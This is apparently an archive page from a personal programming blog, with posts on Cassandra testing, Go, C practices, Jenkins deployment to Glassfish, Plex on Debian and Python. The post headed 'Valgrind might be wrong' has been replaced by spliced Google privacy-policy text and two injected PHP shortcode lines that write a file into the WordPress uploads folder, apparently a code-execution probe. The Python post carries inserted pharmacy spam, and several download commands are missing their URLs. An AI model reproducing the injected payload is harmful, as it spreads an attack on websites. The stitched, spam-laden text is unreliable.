All posts by Florent Clairambault

Cassandra on is an other travis clone.

I gave it a try to execute some automated tests on top of cassandra. Unfortunately it doesn’t support cassandra out of the box. But adding support for it is in fact quite easy:

Here is a script to load cassandra and wait for its startup:

export JAVA_HOME=/usr/lib/jvm/java-7-openjdk-amd64/jre
curl -LO
tar xf apache-cassandra-2.0.5-bin.tar.gz
ln -s apache-cassandra-2.0.5 cassandra
cd cassandra
sudo mkdir -p /var/lib/cassandra /var/log/cassandra
sudo chown `whoami` /var/lib/cassandra /var/log/cassandra
for i in {0..30}; do echo "Waiting server ($i)..." ; nc localhost 9042 </dev/null && exit 0 ; sleep 1; done;
exit 1

Let’s GO

Why should you spend time learning go ?

The language is great

  • Simple: Languages syntax is quite small and easy to learn. Complex features that other languages provide have been omitted: inheritance, generics and pointer arithmetic.
  • Elegant: No semicolons. The scope of variables has been thoughtfully designed, it’s a huge win for readability of code. I personally add (often useless) brackets in my C to make it more readable. The defer keyword allows some clean and simple resource freeing.
  • Easy to use: Having a garbage collector makes it easy to use.
  • Built for concurrency: Making concurrent code has never been so easy. All IO calls are blocking but in a go-routine kind of way, meaning that as soon an I/O or time operation occurs, the current running thread will execute an other go-routime. It’s the java’s Future mechanism made easy.
  • Comes batteries included: Like python, it has some great standard packages.
  • Go on C libs: cgo makes it simple to integrate C code and C libraries. But for all the I/O related task, go internal code will perform much better (it shares a threads).
  • Unicode support: It’s one thing you won’t have to worry about.

But it’s not just the language

It is given a complete environment. You can can type “go...

  • build: Builds your code. No use for a Makefile or complex stuff like that. “go build” takes care of everything.
  • run: Runs your code if you don’t want to build it.
  • test: Alows some very easy (and fast) unit testing of your code.
  • get: Fetches any kind of package.
  • fmt: Formats your code. You don’t have to define some code formatting rules. Your code is reformated following the go requirements.
  • doc: Documents your code. No doxygen or javadoc, go has it.
  • vet: It inspects your code to help you detect wrong behaviors.
  • fix: Fixes your code by replacing old APIs calls by new ones.
  • install: Installs your packages (libraries). Installing a package on a host is easy as hell.
  • tool: Contains a set of useful tools. Most important one in my opinion is the pprof CPU/memory profiler.


To be exhaustive, I’d like to mention few issues you can expect from this languages at this stage.

  • Huge binaries: Mostly because produced go binaries are almost completely static but not only, they are huge (like 2MB big hello world). The problem is known and likely to be reduced in the future.
  • No big GUI libraries: The language is still young (Go 1.0 was released in Mars 2012) and focus has been put on server side code. So there’s not much librairies or librairies environment built out there.
  • No real localization: In python, we usually use gettext with _('stuff') but here we don’t. In Go you have solutions, but none of them is provided by the standard packages at this stage.
  • You might be disturbed by Go’s interfaces: If you come from java with its interfaces inheritances and its powerful namespaces. You might be disturbed that some interfaces included other interfaces because they include their functions.
  • Depencies are not versionned. When you use imports within your code, it might not work in a few months. Also there are ways around it. Coming from java’s maven or gradle, it’s quite disturbing.

Can we bet on it ?

Is it matture enough ? Is is a real disruption ? Will the language actually take-off ?
It’s definitely a major evolution. Because you have many good and exclusive feature while sill having some good old C language bindings and a LOT of libraries have already been ported or binded on it. The "go get" command is also a great recipe for boosting community support.

Getting started

To get you started, I would recommend making the golang tour, then installing go and using a good IDE like LiteIDE or SublimeText + GoBlime.

If (or when should I say) you are hooked, read the effective go page. There are many things like the getter/setter conventions that you will only see here or in the thousands of open-source Go projects outhere.

Just as a quick note: It’s static language. If you come from PHP, ruby or python with little C/C++/java experience, you might find the variable scoping a little bit hard to understand at first.

If you want to start making webapps, I can recommend trying revel or martini (+ fresh for automatic reloading)


I’ll try to update this page later.

To all my dear pure C developers

I’ve spent quite some time integrating a lot of C code from different people to turn it into production-ready software. It is surprisingly interesting, but the first few days are usually quite painful for these reasons:


Many C developers have done hundreds of projects, they always need logging but when an error occurred they still like to do some standard fprintf(stderr, ... );. I use something similar to this. But you should at least insert the __FILE__ and __LINE__ macros. It will save lots of people hours of debugging.

Use the warnings

On gcc, you should always have -Wall -Werror (and -Wextra when possible) enabled. This will avoid a lot of bugs.

Error code

Do not reinvent your own error codes. Use the the POSIX error codes.

Error handling (and logging)

Check the return codes, log the abnormal ones.
Sample code that can make you lose quite some time:

FILE * f = fopen("logs.txt","w");
if ( ! f )
   goto end;

THIS IS WRONG, we should have something like this:

LL_WARNING("Could not open log file !");

using this kind of macro.

Dirty numbers

You know how to count in bytes, how pointer and offsets work, that’s great. But you should also know that you can always replace this by a sizeof(). That way, we won’t have to be as smart as you to read your code (and fix it).

Great POSIX standard headers and libraries

The standard errors code already cover a lot of cases you could encounter.
You can use booleans including stdbool.h, it’s even standard.
Argument parsing is standard, don’t make your own strange argument parsing code that won’t even (fully) document.

Great non standard libraries

Like json-c to serialize your data, or zeromq to handle network communication.

Bad memory management

Leaks and buffer overflow can happen. And so as many other issues out there. This is why you should use valgrind frequently.

“It worked fine on my computer” is never a good excuse, but on C it makes lot less sense. There are many memory mistakes that you will miss on a 64bits Linux with 8GB of RAM and that you will definitely see on a 32bits Linux with 128MB of RAM (which is high-end in the embedded world).

Malloc is not your (only) friend

In most cases, allocating things on the stack is enough. A lot of developers seem to forget it. And it’s usually the same who forget to free their mallocated pointers.

A lot of people seem to forget that you have the right to allocate arrays dynamically on the stack. Declaring an array like that is ok:

uint8_t bin[strlen(hex)/2];

Use a debugger

Debugger will make you save a lot of time especially when they are well integrated in IDEs like netbeans. You can just immediately know why something crashed or why the programmed stalled for no apparent reasons.

Tiny note on debugging: If you have strange issues and can’t seem to get a correct stacktrace, it’s probably a stack-smashing issue. Compile your code with the -fstack-protector flag, this will report the stack smashing (most probably a buffer overflow) as soon as it occurs.


In most of the cases, your compiler will do a great job. Don’t use inline, prefetching or any other crazy optimization unless you really know what you do.

Don’t re-create unreadable network protocols

Use something simple readable like JSON over zeromq. It’s easier to create, debug, monitor. Please don’t create a new binary protocol.

Learn other languages

There are many scenarios where using something else (like python or go) will give you a huge productivity boost, it will probably run slower and produce bigger binaries but in most of the cases it really doesn’t matter. When making network servers, python, go, node.js (java in some ways) make the job a lot easier.


Use standard tools like autoconf, automake or create a simple and easy to maintain Makefile like this one.


Spend the time to learn how to use a an IDE like netbeans or take the full advantage of vim.

Cassandra CQL3 internal data structure

I’m a huge fan of cassandra, I’ve been playing with it since 0.7 and I’ve never stopped using it. It would say it’s most amazing features are: Always working and simple replication + predictable performances.

I was very happy when it went from a key-value store to a well structured database with CQL. With CQL you can focus on your data, and less on how you should organize your own structure to handle it properly. Still, behind the wheels, it works the same (it’s still a KV store). That’s why it’s very important to understand how the internal structure is done:

it’s not a perfect replacement yet. For example, you can’t get the collection elements timestamp (called writetime in CQL). “SELECT map[‘value’] FROM table;” doesn’t exist (not CQL compatible), so “SELECT writetime( map[‘value’] ) FROM table;” doesn’t either unfortunately.

This problem is known by Cassandra’s dev team but there’s indeed a syntax issue to solve first.

You can do any kind of project with any language

Our language helps us express our ideas and emotions. Computer science languages help us build things following our ideas.

There are hundreds of computer science languages currently available to help do pretty much any kind of work. They were all built because (at least) one person once thought “this language isn’t good enough”.

I often like to compare the capabilities of languages like C/C++, C#(.Net)/java, scala/python/ruby, javascript/coffeescript, etc. And I’m always amazed how the smallest changes that were brought to existing languages allowed to gain in efficiency and clarity.

And yet, I can still find people telling me: But you can do this in this language as well.

Deploying your maven web apps on glassfish with jenkins

Simple deployment

If your jenkins server is installed on the same host as the glassfish server it’s quite simple.
You just have to let maven do its thing and then add this shell command:

/usr/local/glassfish/bin/asadmin --echo=true --host=localhost --port=4848 --user=admin --passwordfile=/secure/place/for/passwords/domain1_password --secure=false deploy --force=true --name=myproject --contextroot=/myproject target/*.war

The /secure/place/for/passwords/domain1_password should contain this:


Deploying different versions

With parametrized build you can go a little further and decide, for instance, if you want to deploy the current version as the production one or not. You can switch the build as a parametrized one and add a “stable” parameter (with a default value of false) for example.

The the only thing you have to do is to switch the previous code to:

if $stable; then
    /usr/local/glassfish/bin/asadmin --echo=true --host=localhost --port=4848 --user=admin --passwordfile=/secure/place/for/passwords/domain1_password --secure=false deploy --force=true --name=myproject --contextroot=/myproject target/*.war
    /usr/local/glassfish/bin/asadmin --echo=true --host=localhost --port=4848 --user=admin --passwordfile=/secure/place/for/passwords/domain1_password --secure=false deploy --force=true --name=myproject-test --contextroot=/myproject-test target/*.war

Using the jabber plugin

Then you can use the jabber plugin and you will have interesting conversations with your jenkins build system, like:
!build myproject

And when you feel you are ready to go live:
!build myproject stable=true


  • It’s even simpler with other servers like tomcat or jetty.
  • Glassfish is often considered as very heavy but as most of the OSGi based softwares, you can remove a lot of its parts and make it as light as tomcat.

Valgrind might be wrong

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]
[php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/php]


Plex is great piece of software. It’s a “complete media solution”. I installed it on my laptop (free) without editing a single file, I tested it on my iPad (it’s a paid app) and it was just working instantly. Then I also tested it on my Nexus 7 (paid app on play store as well) and it’s also working perfectly.

Then I discovered it can also do streaming through it’s web based interface, so it can stream to anything it doesn’t yet support. We could stop here but no: It can be installed on Debian stable hosts as well (which I love because they are easy to maintain [no daily updates and still pretty updated]).

As described here, the installation instruction for plex on Debian/stable is:

echo "deb squeeze main" | sudo tee -a /etc/apt/sources.list.d/plexmediaserver.list
wget -O - -q | sudo apt-key add -
sudo apt-get update && sudo apt-get install plexmediaserver

Some good reasons for learning python


President Obama thinks required programming language learning in high school is a great idea. So do I, and I think we should all start with python.

  • Writing code with it is very fast. When software engineers tell you “I can do it in 10 minutes”, in C/C++ they mean 4h, in java they mean 2h and in python they mean it.
  • You can really do anything, I’ve done some serial communication, bit level manipulation, network level event-based servers, multithreading, webservice providing and consuming, SQL and cassandra client faster than what I’ve been doing in any other language.
  • It’s easy to learn viagra pfizer 50 mg. You can start your first program right now and be good at it in 2 weeks.
  • It comes “batteries included”. You don’t have to install third-party libraries. Contrary to ruby, you don’t have to choose between the thousands of gems available, there’s almost always one official way to do things. Which leads to the next point:
  • It’s simple to read someone else’s code. This is because it’s high level language and you quickly know all the librairies.
  • It now has some IDEs. I know some people like to code in vi, but this is ugly and unproductive. Pydev is simple to install and supports a pretty good (or not so bad) auto-completion.

This leads me to two opposing ideas (but you’ll understand where I stand):

  • On a software architecture level, I think java (or C#) is the right choice for any complex or performance requiring system. IDE can really do there magic and most of the problems (mistakes, API change, etc.) are found at compilation.
  • But on a pragmatic/real-life level, I think python is especially relevant for companies (I’m really thinking about startups) who want to build and launch something quick, make it evolve easily and obviously don’t need performance. Your engineer brain might think “Yes, but it’s scripting, this sucks”. But who cares? In 3 years, your product will be probably obsolete, if not already dead and in noone’s hard-drive anyway.

If you feel python isn’t the right choice because you need to have a complex all-in-one-language architecture, you should have a look at message brokers. My favorite one is RabbitMQ. It works instantly (like any modern software should be), has client libraries in every language you can imagine and supports very interesting features like persistent queues, load balancing and replication. Load balancing means that if python happened to be a bottleneck in your system, you could just duplicate the instances and server two times more.